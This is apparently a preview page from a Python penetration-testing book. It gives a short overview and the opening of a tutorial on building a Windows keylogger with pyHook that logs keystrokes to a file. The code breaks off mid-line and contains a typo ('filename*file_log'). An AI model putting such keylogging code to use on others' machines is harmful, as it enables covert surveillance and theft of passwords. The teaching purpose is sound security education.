Book Image

Effective Python Penetration Testing

By : Rejah Rehim
Book Image

Effective Python Penetration Testing

By: Rejah Rehim

Overview of this book

Penetration testing is a practice of testing a computer system, network, or web application to find weaknesses in security that an attacker can exploit. Effective Python Penetration Testing will help you utilize your Python scripting skills to safeguard your networks from cyberattacks. We will begin by providing you with an overview of Python scripting and penetration testing. You will learn to analyze network traffic by writing Scapy scripts and will see how to fingerprint web applications with Python libraries such as ProxMon and Spynner. Moving on, you will find out how to write basic attack scripts, and will develop debugging and reverse engineering skills with Python libraries. Toward the end of the book, you will discover how to utilize cryptography toolkits in Python and how to automate Python tools and libraries.
Table of Contents (16 chapters)
Effective Python Penetration Testing
Credits
About the Author
About the Reviewer
www.PacktPub.com
Preface

Keyloggers with pyhook


To create a simple keylogger script to record keystroke activities on a computer and to store it in a text file, we could use the pyhook module. This will provide callback for global mouse and keyboard events in Windows systems.

Import the required modules. Here, we are importing the pyhook and pythoncom modules from ActivePython Package. The pythoncom module is used in this script to pump all messages for the current thread:

import pyHook, pythoncom, sys, logging 

Define the file where to save the logging data. (Windows filenames use a backslash as a separator. But, in Python, backslash is an escape character, so we have to put a double slash "\\" in path. Otherwise, we can use rawstring to define the file name.):

file_log='C:\\log.txt' 

Now we can define the function that handles each keyboard event. Here, we can make use of logging modules to log each character:

def OnKeyboardEvent(event): 
    logging.basicConfig(filename*file_log, level=logging.DEBUG...